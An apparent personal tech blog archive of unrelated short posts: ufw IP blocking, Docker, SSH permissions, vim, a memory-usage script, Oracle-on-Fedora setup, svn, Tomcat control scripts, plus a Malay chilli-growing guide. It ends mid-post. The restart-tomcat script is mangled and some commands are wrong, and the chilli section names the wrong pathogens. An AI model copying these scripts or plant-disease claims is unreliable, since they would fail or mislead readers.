I scribble about this and that, usually Software Engineering. Aspiring to be a wordsmith (hope I got that right), writing helps me think, solve problems, and communicate better.
I ran a simple Python webserver to host mp3 files that my mom asked me to download from Youtube the other day.
Yep, I am technically the technical support of anything tech in the family. She sometimes found a good song on Youtube and would want an mp3 of it.
I wrote a simple web service using Python and Flask and let her supply the Youtube link to it, and it will download the mp3 for her - Thanks youtube-dl!
However, being the cheapskate that I am, I’m running this server on 1GB RAM. So that simple task, unfortunately, take a few minutes to complete.
Therefore, I fire up a simple web server for her to download the processed mp3 later.
I log all the requests coming to the web server to a file. As you can see below, it seemed that my server is always being scanned.
And I checked Upcloud’s (my cloud provider) firewall package. Unfortunately, it will cost me $4.03 per month / $0.0056 per hour just to get the firewall running. Yikes!
So I decided to enable the firewall on the server itself. So let us just block those IPs.
First, I have to get the list of IPs into a file. I assumed no natural person visited my site yesterday.
So I quickly run a quick command just to get the IPs.
It will show the current configuration, which looks like something like this.
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
22/tcp ALLOW IN Anywhere
80/tcp ALLOW IN Anywhere
8000/tcp ALLOW IN Anywhere
8080/tcp ALLOW IN Anywhere
3306/tcp ALLOW IN Anywhere
443/tcp ALLOW IN Anywhere
22/tcp (v6) ALLOW IN Anywhere (v6)
80/tcp (v6) ALLOW IN Anywhere (v6)
8000/tcp (v6) ALLOW IN Anywhere (v6)
8080/tcp (v6) ALLOW IN Anywhere (v6)
3306/tcp (v6) ALLOW IN Anywhere (v6)
443/tcp (v6) ALLOW IN Anywhere (v6)
Now, I ran a simple loop to add the list of IPs before to the “ban” list.
while read line; do sudo ufw insert 1 deny from $line to any; done < log_ip.txt
That will give you something like this
Status: active
Logging: on (low)
Default: deny (incoming), allow (outgoing), disabled (routed)
New profiles: skip
To Action From
-- ------ ----
Anywhere DENY IN 34.86.35.15
Anywhere DENY IN 128.14.141.34
Anywhere DENY IN 176.107.23.166
Anywhere DENY IN 124.206.180.139
....
$ docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
92db2d2e58e1 ubuntu "bash" About a minute ago Up About a minute ubuntu
10a50730c227 mysql "docker-entrypoint.s…" 3 weeks ago Up About an hour 33060/tcp, 0.0.0.0:3308->3306/tcp database-db-1
a52cd313247c mysql "docker-entrypoint.s…" 3 weeks ago Up About an hour 33060/tcp, 0.0.0.0:3307->3306/tcp weddapp-db-1
Access your container where ubuntu is your container name or container ID
$ docker exec -it ubuntu bash
Copy a directory (i.e. mydir) from host to the container
On the host, go the directory, perhaps one level above.
Run the following where 92db2d2e58e1 is your container ID
docker cp mydir/. 92db2d2e58e1:/mydir
Copy a directory (i.e. mydir) from container to host
Go the directory in the host where you want the directory to be copied to.
Run the following where 92db2d2e58e1 is your container ID
Although the Android Developer site is pretty comprehensive, I found it is also useful for me to learn Android Developement via videos. TheNewBoston is hands down one of the best tutorial sites for technical knowledge, mainly for programming languages such as C, C++, Java and a couple more. If you haven’t gone through his video, do check them here.
Nevertheless, I still think that some important aspects of Android development are best exemplified on Android Developer site and you will find you’ll be doing frequent visit to the site. Bookmark it! :-)
You also need to know the Android API site. These explain all available APIs and it will be useful for you in order to understand each and every objects and their methods of within Android’s Java. If you use Eclipse, right clicking on the methods will redirect you to this site within the editor itself.
I had some misunderstanding on how the convenient mode works. I first thought that it needs some sort of security on the App as well. So, what I have in mind was…User needs to do the graphical login before “passcode” (key) is automatically sent to the Rpi.
I was mistaken. The key to convenient is that the User should not need to do anything at all, other than just launching the App. <div> </div><div>The diagram below should explain it better:</div><div>
<table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"><tbody><tr><td style="text-align: center;"></td></tr><tr><td class="tr-caption" style="text-align: center;">Convenient and Secured Mode</td></tr></tbody></table><div class="separator" style="clear: both; text-align: center;"> </div>Link for a better view : Link
<ul><li>Your past projects/coding style</li><li>You technical knowledge on your stated skills</li><li>Your personality</li><li>Your workflow - do you have a clear thought process behind what you do and why you do it</li><li>Ability to take constructive criticism</li><li>A love of coding - because there will be constant learning throughout your career and if you aren’t prepared to do that, you will seem like a poor long term investment</li><li>An excellent understanding of the tools you use: frameworks, IDE, language, task-runner, version control, graphics software.</li></ul> <div> </div>
JavaServer Pages (JSP) is a technology for developing web pages by inserting java code in HTML pages using special JSP tags, most of which start with <% and end with %>.
JSP can be used as part of the front end (client side) as well as the back end (server side). That means:
<ul><li>JSP is written inside HTML file (as a client side code) to perform some logic </li><li>JSP can be used just like Java Servlet (as a server side code) - create connection to database, perform query, perform validation logic and so on.</li></ul> Why JSP? Why not just use Java Servlet?
JSP vs. Pure Servlets : It is more convenient to write (and to modify!) regular HTML file than to have plenty of println statements in Java Servlets that generate the HTML response.
However, JSP pages can also be used in combination with Java Servlets that handle the business logic and this is usually the code. Java Servlet is usually required to perform more powerful business logic.
JSP Processing: <ul><li>Like normal page, your browser sends an HTTP request to the web server.</li><li>The web server recognizes that the HTTP request is for a JSP page and forwards it to a JSP engine. This is done by using the file page which ends with .jsp instead of .html i.e. index.jsp instead of index.html</li><li>The JSP engine converts the JSP page into a Java Servlet. All JSP elements are converted to Java code inside this generated Java Servlet.</li><li>The generated Java Servlet is then compiled into an executable class.</li><li>Servlet container loads the servlet class and executes it.</li><li>During execution, the servlet produces an output in HTML format inside an HTTP Response.</li><li>The web server forwards the HTTP response (in HTML) to your browser.</li><li>Finally web browser generates the HTML page inside the HTTP response.</li></ul>All the above mentioned steps can be shown below in the following diagram <div class="separator" style="clear: both; text-align: center;"></div>
So in a way, a JSP page is really just another way to write a Java Servlet without having to be a Java programming wizard. Except for the translation phase, a JSP page is handled exactly like a regular Java Servlet
Following this tutorial : http://www.linuxproblem.org/art_9.html
Why am I still getting a password prompt with ssh with public key authentication?
Make sure the permissions on the ~/.ssh directory and its contents are proper. Create .ssh folder if it’s not there yet. Same goes to authorized_keys file.
Your home directory ~, your ~/.ssh directory and the ~/.ssh/authorized_keys file on the remote machine must be writable only by you: rwx—— and rwxr-xr-x are fine, but rwxrwx— is no good. 700 or 755, not 775
If ~/.ssh or authorized_keys is a symbolic link, the canonical path (with symbolic links expanded) is checked.
Your ~/.ssh/authorized_keys file (on the remote machine) must be readable (at least 400) but you probably need it to be also writable (600) if you will add any more keys to it.
Your private key file (on the local machine) must be readable and writable only by you: rw——-, i.e. 600.
Also, if SELinux is set to enforcing, you may need to run restorecon -R -v ~/.ssh (see e.g. Ubuntu bug 965663 and Debian bug report #658675; this is patched in CentOS 6).
I had this problem sometimes on my application server, which can sometimes be old machines. When I tried to use arrow keys in insert mode in vim editor the following characters are being inserted in the editor:
<ul><li>for ↓ I get B</li><li>for ↑ I get A</li><li>for ← I get D</li><li>for → I get C</li></ul><div>…and it’s super annoying.</div> <div>From my reading, this is how Vi behaves.</div><div><div> </div><div>However, VIM is the successor to Vi. By default, it set to be in Vi-compatible mode, which includes this behavior for the arrow keys.
To remove the compatible mode, create a file named .vimrc in home directory add this line to the top of the file:</div><blockquote class="tr_bq"> vim ~/.vimrc set nocompatible</blockquote><div> </div><div>Save the file and this should fix the problem.</div></div>
I had this problem sometimes on my application server, which can sometimes be old machines. When I tried to use arrow keys in insert mode in vim editor the following characters are being inserted in the editor:
for ↓ I get B
for ↑ I get A
for ← I get D
for → I get C
…and it’s super annoying.
From what I found out, this is how the original Vi behaves.
However, VIM is the successor to Vi. By default, it set to be in Vi-compatible mode, which includes this behavior for the arrow keys.
To remove the compatible mode, create a file named .vimrc in home directory add this line to the top of the file:
Memstat.sh is a shell script that calculates linux memory usage for each running application.
#!/bin/bash
#Source : http://www.linoxide.com/linux-shell-script/linux-memory-usage-program/
#Parent : http://www.linoxide.com/guide/scripts-pdf.html
# Make sure only root can run our script
if [ "$(id -u)" != "0" ]; then
echo "This script must be run as root" 1>&2
exit 1
fi
### Functions
#This function will count memory statistic for passed PID
get_process_mem ()
{
PID=$1
#we need to check if 2 files exist
if [ -f /proc/$PID/status ];
then
if [ -f /proc/$PID/smaps ];
then
#here we count memory usage, Pss, Private and Shared = Pss-Private
Pss=`cat /proc/$PID/smaps | grep -e "^Pss:" | awk '{ sum+=$2} END {print sum}' `
Private=`cat /proc/$PID/smaps | grep -e "^Private" | awk '{ sum+=$2} END {print sum}'`
#we need to be sure that we count Pss and Private memory, to avoid errors
if [ x"$Rss" != "x" -o x"$Private" != "x" ];
then
let Shared=${Pss}-${Private}
Name=`cat /proc/$PID/status | grep -e "^Name:" |cut -d':' -f2`
#we keep all results in bytes
let Shared=${Shared}*1024
let Private=${Private}*1024
let Sum=${Shared}+${Private}
echo -e "$Private + $Shared = $Sum \t $Name"
fi
fi
fi
}
#this function make conversion from bytes to Kb or Mb or Gb
convert()
{
value=$1
power=0
#if value 0, we make it like 0.00
if [ "$value" = "0" ];
then
value="0.00"
fi
#We make conversion till value bigger than 1024, and if yes we divide by 1024
while [ $(echo "${value}" | awk '{if($1 > 1024) {print 1} else {print 0}}') -eq 1 ]
do
value=$(echo "${value}" | awk '{printf "%.2f", $1 / 1024}')
let power=$power+1
done
#this part get b,kb,mb or gb according to number of divisions
case $power in
0) reg=b;;
1) reg=kb;;
2) reg=mb;;
3) reg=gb;;
esac
echo -n "${value} ${reg} "
}
#to ensure that temp files not exist
[[ -f /tmp/res ]] && rm -f /tmp/res
[[ -f /tmp/res2 ]] && rm -f /tmp/res2
[[ -f /tmp/res3 ]] && rm -f /tmp/res3
#if argument passed script will show statistic only for that pid, of not � we list all processes in /proc/ #and get statistic for all of them, all result we store in file /tmp/res
if [ $# -eq 0 ]
then
pids=`ls /proc | grep -e "[0-9]" | grep -v "[A-Za-z]" `
for i in $pids
do
get_process_mem $i >> /tmp/res
done
else
get_process_mem $1>> /tmp/res
fi
#This will sort result by memory usage
cat /tmp/res | sort -gr -k 5 > /tmp/res2
#this part will get uniq names from process list, and we will add all lines with same process list
#we will count nomber of processes with same name, so if more that 1 process where will be
# process(2) in output
for Name in `cat /tmp/res2 | awk '{print $6}' | sort | uniq`
do
count=`cat /tmp/res2 | awk -v src=$Name '{if ($6==src) {print $6}}'|wc -l| awk '{print $1}'`
if [ $count = "1" ];
then
count=""
else
count="(${count})"
fi
VmSizeKB=`cat /tmp/res2 | awk -v src=$Name '{if ($6==src) { sum+=$1}} END {print sum}'`
VmRssKB=`cat /tmp/res2 | awk -v src=$Name '{if ($6==src) { sum+=$3}} END {print sum}'`
total=`cat /tmp/res2 | awk '{ sum+=$5} END {print sum}'`
Sum=`echo "${VmRssKB} ${VmSizeKB}" | awk '{print $1 + $2}'`
#all result stored in /tmp/res3 file
echo -e "$VmSizeKB + $VmRssKB = $Sum \t ${Name}${count}" >>/tmp/res3
done
#this make sort once more.
cat /tmp/res3 | sort -gr -k 5 | uniq > /tmp/res
#now we print result , first header
echo -e "Private \t + \t Shared \t = \t RAM used \t Program"
#after we read line by line of temp file
while read line
do
echo $line | while read a b c d e f
do
#we print all processes if Ram used if not 0
if [ $e != "0" ]; then
#here we use function that make conversion
echo -en "`convert $a` \t $b \t `convert $c` \t $d \t `convert $e` \t $f"
echo ""
fi
done
done < /tmp/res
#this part print footer, with counted Ram usage
echo "--------------------------------------------------------"
echo -e "\t\t\t\t\t\t `convert $total`"
echo "========================================================"
# we clean temporary file
[[ -f /tmp/res ]] && rm -f /tmp/res
[[ -f /tmp/res2 ]] && rm -f /tmp/res2
[[ -f /tmp/res3 ]] && rm -f /tmp/res3
Sebaiknya jangan gunakan tanah di halaman rumah anda kerana kebiasaannya tanah tersebut tidak subur. Gunakan tanah campuran yang mengandungi dua bahagian tanah, satu bahagian kompos dan satu bahagian pasir. Isikan pasu dengan tanah campuran tersebut sehingga 5cm dari permukaan pasu.
Semai 3 atau 4 biji benih ke dalam pasu sedalam 2 hingga 5 cm.
Apabila anak pokok mulai tumbuh, siram pokok pada awal pagi dan lewat petang setiap hari kecuali pada hari hujan.
Taburkan sebanyak satu sudu teh atau 5 gram baja di sekeliling pokok pada setiap minggu.
Gunakan juga rumput-rumput kering untuk diletakkan di sekeliling pokok sebagai sungkup.
Ancaman Terhadap Pokok Cili.
Layu Bakteria
Penyakit Layu Bakteria disebabkan oleh Phytium spp atau Fusarium spp yang mengakibatkan pokok yang diserang akan layu dan boleh mati jika tidak dikawal dengan segera. Penyakit ini mudah menyerang tanaman cili terutama jika kawasan tersebut pernah ditanam dengan cili atau famili Solanaceae lain dan tanah yang agak lembab. Kawalan untuk penyakit ini adalah dengan kaedah amalan pertanian yang elok seperti mencabut pokok yang telah diserang dan membakarnya, semburan racun kulat, memilih anak benih rintang penyakit, kebersihan ladang dan jalankan giliran tanaman. Serangan boleh berlaku dari peringkat awal pertumbuhan sehingga pokok matang dan berbuah. Jika berlaku pada peringkat awal, penanaman perlu dijalankan sulaman anak benih. Jalankan pemantauan di kawasan tanaman cili dari jangkitan pokok yang telah diserang.
Kerinting Daun
Penyakit kerinting daun disebabkan oleh Virus Tristeza yang merupakan satu lagi masalah dalam penanaman cili dan ia sentiasa menjadi ‘kegusaran’ kepada penanam cili. Pemerhatian petani mendapati bahawa apabila ia telah mula berlaku serangan kerinting daun pada satu dahan atau pokok ia akan cepat merebak kepada pokok lain jika tidak dikawal dengan segera. Tanda serangan dilihat apabila daun muda yang aktif mula kerinting atau berkerekot atau bergulung dan kadang-kadang kekuningan sedikit bermula pada satu dahan dan akan membiak ke kawasan lain. Akibatnya pokok tidak dapat menjalankan fotosintesis dengan cekap dan pengeluaran bunga akan terganggu atau tidak berbunga langsung.Lazimnya tunas-tunas baru tidak akan keluar dan jika ada buah pun saiznya adalah sangat kecil. Adalah disyorkan agar dahan pada pokok yang diserang dipotong dan dibakar atau jika serangan yang sangat teruk maka pokok tersebut dicabut dan dibakar. Kalau banyak pokok dalam kebun telah banyak diserang lebih baik musnahkan semua dan tanam baru.
Bintik Daun
Penyakit Bintik Daun (Cercospora spp) pula akan mengakibatkan daun yang diserang berbintik dan mengurangkan aktiviti fotosintesis. Ia boleh dikawal dengan semburan racun Benomyl. Penyakit Antraknos buah cili yang disebabkan oleh kulat Collectotricum spp. akan merosakkan kualiti buah cili dan dikawal dengan semburan racun seperti Mancozeb. Perlu diingat setelah semburan racun dibuat jangan terus memetik buah cili, tunggu TDMH (Tempoh Dilarang Mengutip Hasil) seperti yang dituliskan pada label racun. Anda perlu mengasilkan cili yang berkualiti, bersih, berkhasiat dan yang penting tidak ada sisa baki racun di dalamnya.
Serangga Perosak
Antara perosak tanaman cili adalah Hamama Merah, Kutu Daun dan Aphids serta Koya. Serangga ini merupakan agen peyebaran pathogen pembawa penyakit sama ada kulat, bakteria atau virus.Koya hidup di bawah daun yang telah berkerekot akan menghasilkan cecair manisan (secretion) yang akan menyebabkan semut yang suka akan manisan menghisapnya, berlendir dan menyebabkan wujudnya kulat Jelaga Hitam. Koya juga mampu bergerak keseluruh pokok cili dan menyebabkan kadar serangan penyakit cepat merebak. Bagi mengawal masalah kutu daun anda boleh menggunakan semburan racun kimia seperti chlorpyrifos imidachlorpid mengikut arahan pada label. Serangan Hamana Merah pula boleh dikawal dengan semburan racun Malathion atau Dichlofo.
This writing is based on this article which I followed. However, the steps mentioned were somewhat not in order and some issues tackled were not described properly (at least to me). Please also note that these steps are very specific to Fedora 26. I don’t guaranteed that it will work on other distro or other Fedora or Oracle version.
3- Create the appropiate directories for Oracle. Note that the installation can be anywhere, but for simplicity sake, lets just use Oracle typical directory structure.
4- Unzip the installation files from (1) to folder “/u01/software/database”. This will be our installer folder.
unzip linuxx64_12201_database.zip database
5- Setup the host file. Edit the “/etc/hosts” file to add a fully qualified name to our machine. Note that keep everything in one line. For example, (a) below doesn’t work for me, but (b) does. Ensure the file is saved correctly by running hostname
12- Edit the release file. Edit the “/etc/redhat-release” file replacing the current release information “Fedora release 26 (Twenty Six)” with the following.
redhat release 7
13- Edit the bashrc file of the oracle user : vim ~/.bashrc. Ensure the hostname is according to what you set in (5).
14- There is a bug that requires us to relink some of the libraries used by Oracle. This is probably the cause of error that prompts “TNS : Lost contact” that is typically faced during Oracle installation.
cd $ORACLE_HOME/lib/stubs
mkdir BAK
mv libc* BAK/
$ORACLE_HOME/bin/relink all
15- Run the installer in GUI mode. Ensure that you set the password for administator and jot it down.
cd /u01/software/database
./runInstaller
If you’re faced with the error mentioned in 14, what you probably have is Oracle software installed, but database was not created. Moving forward, do again step 14 and afterwards, follow the next step. If you don’t face the error, skip the next step - you probably have database created successfully already.
16- Create database. Run : dbca
17- If you’re faced with not enough space error, delete the installation zip files downloaded in (1).
18- By now, the database should be succesfully installed. In short, there are 2 things that we need to check to ensure our Oracle database is running correctly, the first one is the Oracle database instance and the other one is the Oracle listener.
19- To ensure the Oracle database instance is running, check it using Sqlplus.
sqlplus / as sysdba
startup
You should see something like this :
ORACLE instance started.
Total System Global Area 2483027968 bytes
Fixed Size 8795808 bytes
Variable Size 687868256 bytes
Database Buffers 1778384896 bytes
Redo Buffers 7979008 bytes
Database mounted.
Database opened.
20- To ensure that the listener is running, run :
lsnrctl status
or you can restart the listener
lsnrctl stop
lsnrctl start
You should see something like this :
LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 31-DEC-2017 21:22:40
Copyright (c) 1991, 2016, Oracle. All rights reserved.
Starting /u01/app/oracle/product/12.2.0.1/db_1/bin/tnslsnr: please wait...
LSNRCTL for Linux: Version 12.2.0.1.0 - Production on 31-DEC-2017 21:22:15
Copyright (c) 1991, 2016, Oracle. All rights reserved.
Connecting to (DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=fedora26.localdomain)(PORT=1521)))
STATUS of the LISTENER
------------------------
Alias LISTENER
Version TNSLSNR for Linux: Version 12.2.0.1.0 - Production
Start Date 31-DEC-2017 19:52:50
Uptime 0 days 1 hr. 29 min. 26 sec
Trace Level off
Security ON: Local OS Authentication
SNMP OFF
Listener Parameter File /u01/app/oracle/product/12.2.0.1/db_1/network/admin/listener.ora
Listener Log File /u01/app/oracle/diag/tnslsnr/fedora26/listener/alert/log.xml
Listening Endpoints Summary...
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcp)(HOST=fedora26.localdomain)(PORT=1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=ipc)(KEY=EXTPROC1521)))
(DESCRIPTION=(ADDRESS=(PROTOCOL=tcps)(HOST=fedora26.localdomain)(PORT=5500))(Security=(my_wallet_directory=/u01/app/oracle/admin/orcl/xdb_wallet))(Presentation=HTTP)(Session=RAW))
Services Summary...
Service "619541c6fa4e61e3e0530100007f47e3" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orcl" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orclXDB" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
Service "orclpdb" has 1 instance(s).
Instance "orcl", status READY, has 1 handler(s) for this service...
The command completed successfully
21- I had some issues where the listener just couldn’t reach out the running database instance. To rectify this, shutdown the instance and restart it back using sqlplus
sqlplus / as sysdba
SQL> shutdown
SQL> startup
Afterwards, check if the listener is picking up the instance by lsnrctl status
22- That’s it. You may want to create some tablespace, some new users to try out your local Oracle database using any database client. I use Dbeaver. Good luck!!
I’ve been using Blogger for my blogging purposes for quite some time. However, since I found out that I can host my site with Github Pages, I thought about moving to here for good.
Why?
I’ve always been irritated on how I needed to customize each blog post with html to make it pretty and usually ending up messy - sometimes one post use some fonts, style etc while the next one use other stuff. There is no consistency. Especially when I tried to display codes, command etc - the syntax highlighting via html is horrible. I hated the fact that I need to spend some time on styling them properly. And I don’t have that time anymore… (projects are piling up)
So here comes Markdown.
I think Markdown is great. I’m quite used to writing in Texttile at the moment since my company use Redmine for the project management tool and our Redmine is powered by Texttile. I mean, it didn’t take long for me to learn Markdown. FYI, here is a great simple notes on Markdown if you haven’t bookmarked it yet.
So, I have decided from now onward I’ll be blogging through this Github page. I have created the repo a while ago and recently just learned how to create post. I didn’t understand the idea of blogging on static websites in the beginning but now that I understood it, I think this is brilliant. The site is quite fast too.
One extra advantage : Now I can practice using VIM for little bit more. I’m practically writing this post using VIM right now.
Lets get started!
Things to do :
Complete the Jekyll site setup (I know some links are 404 at the moment)
Fixed individual page styles (For some reason, only the homepage is OK)
Find out how I can display some posts from other blogs somewhere on the homepage (not so static anymore, eh?). Well, if that’s not possible, I just put up links to them somewhere on the homepage. Kinda for bookmarking purposes.
Redirect my domain to here
Move all post from blogger to here. Found some utility
Imagine, suddenly, the remote Server A changed their key. <pre>As a result, the key you have in your local PC, inside known_hosts becomes invalid.
The moment you try to ssh to Server A again, you will be prompted with :
<pre style="background-color: #eeeeee; border: 1px solid rgb(221, 221, 221); clear: both; color: #111111; font-family: Consolas, Monaco, Menlo, Courier, Verdana, sans-serif; font-size: 13px; margin-bottom: 26px; overflow: auto; padding: 13px; tab-size: 4; word-wrap: normal;">@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY! Someone could be eavesdropping on you right now (man-in-the-middle attack)! It is also possible that the RSA host key has just been changed. The fingerprint for the RSA key sent by the remote host is a7:a8:f2:97:94:33:58:b7:9d:bc:e0:a6:6b:f7:0a:29. Please contact your system administrator. Add correct host key in /home/ramesh/.ssh/known_hosts to get rid of this message. Offending key in /home/ramesh/.ssh/known_hosts: 6 Permission denied (publickey,password).</pre>The solution is to edit the file known_hosts and remove the existing key of Server A, </pre><pre>using your preferred text editor i.e. vi or vim or nano or notepad
When you try to ssh to Server A again, the new key of Server A will be saved into </pre><pre>your local file known_hosts.</pre>
Sometimes when you did commit like below, you have forgoten where you are and accidentally committed every local changes under the current folder tree, including some that you don’t want to. Urrgh!
Example : svn commit -m ‘blabla’
For example, above commit results in revision 101.
You want to get back the repo to what was in 100.
You run : 1. Go to the same folder when you did the commit
2. Merge to the previous revision i.e. 100 svn merge -c -100 .
3. Check what changes this one will take place svn stat
4. Commit svn commit -m ‘sorry Im so dumb before but I learned now’
Now you have the new revision i.e. 102 is now back to what was in 100
The APR based Apache Tomcat Native library which allows optimal performance in production environments was not found on the java.library.path
…and SO says :
<div style="background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;"> From Apache Portable Runtime (APR) based Native library for Tomcat:</div><blockquote style="background-color: cornsilk; border-bottom-color: initial; border-bottom-style: initial; border-image: initial; border-left-color: rgb(255, 235, 142); border-left-style: solid; border-right-color: initial; border-right-style: initial; border-top-color: initial; border-top-style: initial; border-width: 0px 0px 0px 2px; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin: 0px 0px 10px; padding: 10px; quotes: none; vertical-align: baseline;"><div style="border: 0px; clear: both; font-family: inherit; font-size: inherit; font-stretch: inherit; font-style: inherit; font-variant: inherit; font-weight: inherit; line-height: inherit; padding: 0px; vertical-align: baseline;">Tomcat can use the Apache Portable Runtime to provide superior scalability, performance, and better integration with native server technologies. The Apache Portable Runtime is a highly portable library that is at the heart of Apache HTTP Server 2.x. APR has many uses, including access to advanced IO functionality (such as sendfile, epoll and OpenSSL), OS level functionality (random number generation, system status, etc), and native process handling (shared memory, NT pipes and Unix sockets).</div></blockquote> <div style="background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">The library is bundled into an OS specific dll (tcnative-1.dll) loaded via Java Native Interface (JNI). It allows tomcat to use OS functionalities not provided in the Java Runtime (such as sendfile, epoll, OpenSSL, system status, etc.). Tomcat will run just fine without it, but for some use cases, it will be faster with the native libraries.</div><div style="background-color: white; border: 0px; clear: both; color: #242729; font-family: Arial, "Helvetica Neue", Helvetica, sans-serif; font-size: 15px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; padding: 0px; vertical-align: baseline;">If you really want it, download the tcnative-1.dll (or libtcnative.so for Linux) and put it in the bin folder, and add a system property to the launch configuration of the tomcat server in eclipse.</div><pre style="background-color: #eff0f1; border: 0px; color: #242729; font-family: Consolas, Menlo, Monaco, "Lucida Console", "Liberation Mono", "DejaVu Sans Mono", "Bitstream Vera Sans Mono", "Courier New", monospace, sans-serif; font-size: 13px; font-stretch: inherit; font-variant-numeric: inherit; line-height: inherit; margin-bottom: 1em; max-height: 600px; overflow: auto; padding: 5px; vertical-align: baseline; width: auto; word-wrap: normal;"> -Djava.library.path=c:\dev\tomcat\bin</pre>
Each user can have their own crontab, and though these are files in /var/spool/cron/crontabs, they are not intended to be edited directly.
Files under /var/spool are considered temporary/working and it’s always a good practice to back up your cron entries or keep them in a file in your home directory.
I assume you’re using crontab -e to create crontab files on the fly. If so, you can get a “copy” of your crontab file by doing crontab -l. Pipe that to a file to get a “backup”:
crontab -l > my-crontab
Then you can edit that my-crontab file to add or modify entries, and then “install” it by giving it to crontab:
crontab my-crontab
This does the same syntax checking as crontab -e.
To list all cron jobs from all users in your system: for user in $(cut -f1 -d: /etc/passwd) do echo $user crontab -u $user -l done or for user in $(cut -f1 -d: /etc/passwd) do echo $user crontab -l $user
1. First, download meld from here and set the path to /bin folder of meld to $PATH variables.
2. Create a script of below content with name meld-diff.sh #!/bin/bash meld “$6” “$7”
exit 0
3. Copy the location, lets say its /home/you/meld-diff.sh
4. Edit subversion configuration file. Found in /home/you/.subversion/config Search for “diff-cmd”, uncomment it and set it to path of our script we created just now. Save it.
For example : diff-cmd = /home/you/meld-diff.sh
5. Now if you run “svn diff”, it should redirect to meld automatically.
In Linux, Tomcat can be typically installed at a few possible location such as /usr/share/tomcat8 /var/lib/tomcat8/ /opt/tomcat8
Note : At KWT server, Tomcat is installed at /var/lib/tomcat8/
2. Tomcat has a few Environment Variables
$CATALINA_HOME : where Tomcat is installed $CATALINA_BASE : same as CATALINA_HOME $CATALINA_PID : location of pid file for Tomcat running process (will discuss later)
3. To start Tomcat, usually we can run : “$CATALINA_HOME/bin/catalina.sh start”
4. Once Tomcat is running, the pid of the Tomcat process is writen into a file which is declared in $CATALINA_PID. Typically value for $CATALINA_PID is $CATALINA_BASE\bin\catalina.pid
When you open this file, (run “less $CATALINA_BASE\bin\catalina.pid”), you will see the pid of the Tomcat process
5. You stop Tomcat process by running : “kill -kill 1239” (replace 1239 with the pid of the process) This is a generic Linux’s way of killing any process.
6. Typically, to stop Tomcat, you run “$CATALINA_HOME/bin/shutdown.sh start” <div>
NOTE : To add more : Logging, folder structure, manager, host manager, multiple instance, users, server setting</div>
$CATALINA_PID is the Environment Variable that has path of the file which should contains the pid of the catalina/tomcat startup java process.
Typically, this will be under /bin folder in your Tomcat installation.
For example, you could have this in your ~/.bashrc CATALINA_BASE=”/opt/tomcat8” export CATALINA_BASE CATALINA_PID=”$CATALINA_BASE/bin/catalina.pid” export CATALINA_PID
By having this $CATALINA_PID environment variable set up, we can easily get the pid of the Tomcat process and control it as we want.
I created two scripts (1) check-tomcat : To check if Tomcat is running, by reading the Tomcat PID file (2) restart-tomcat : To kill the tomcat, clear the Tomcat’s work folder and restart Tomcat
check-tomcat ============ #!/bin/bash #title : check-tomcat #description : This script will check if Tomcat is running and return the pid #author:Raf #note: Requires $CATALINA_BASE/bin/catalina.pid to be created and $CATALINA_PID to be set. clear if [ -f “$CATALINA_PID” ]; then read kpid < “$CATALINA_PID” if ps –pid $kpid 2>&1 1>/dev/null; then echo “Tomcat is already running at ${kpid}” else echo “$CATALINA_PID found, but Tomcat is not running” fi fi
restart-tomcat ============== #!/bin/bash #title : restart-tomcat #description : This script will first clear the work folder and then check if Tomcat is running, kill it, and restart the tomcat again #author:Raf #note: Requires $CATALINA_BASE/bin/catalina.pid to be created and $CATALINA_PID to be set. echo “Clear Tomcat log….” rm -fv /opt/apache-tomcat-8.0.39/logs/catalina.out touch /opt/apache-tomcat-8.0.39/logs/catalina.out echo “Clear Tomcat work folder….” rm -rfv /opt/apache-tomcat-8.0.39/work/Catalina/ if [ -f “$CATALINA_PID” ]; then read kpid < “$CATALINA_PID” if ps –pid $kpid 2>&1 1 /opt/apache-tomcat-8.0.39/bin/catalina.sh start; read kpid < “$CATALINA_PID” echo “Tomcat is started at ${kpid}” else echo “Killing Tomcat….” kill -kill $kpid /opt/apache-tomcat-8.0.39/bin/catalina.sh start; read kpid < “$CATALINA_PID” echo “Tomcat is started at ${kpid}” fi fi
The best daily routines involve taking care of yourself physically, emotionally and mentally before the day starts.
Aristotle said, “We are what we do repeatedly, therefore, excellence is not an act, but a habit.”
What are those habits?
The habits that affect productivity the most are directly related to the reasons you ordinarily complain about as justifications for being lazy or unproductive. “I’m tired, I’m cold, I can’t stop thinking about my ex, I didn’t sleep enough last night, I didn’t eat enough, my stomach hurts, I just don’t feel right today,” etc.
The habits themselves are the habits related to your welfare, your physical, mental and emotional well-being. If physically you’re feeling good and have the requisite energy for productivity, emotionally you’re stable and able to withstand the stress of having a lot to do, and mentally you aren’t bogged down by identifying with every passing thought, then you have set yourself up for maximum productivity.
The habits that ensure your physical, mental and emotional welfare are: 1. Get enough sleep
Being tired not only slows down your mental and physical capacity. The first step in eliminating that excuse is making sure you get enough sleep.
How to do it:
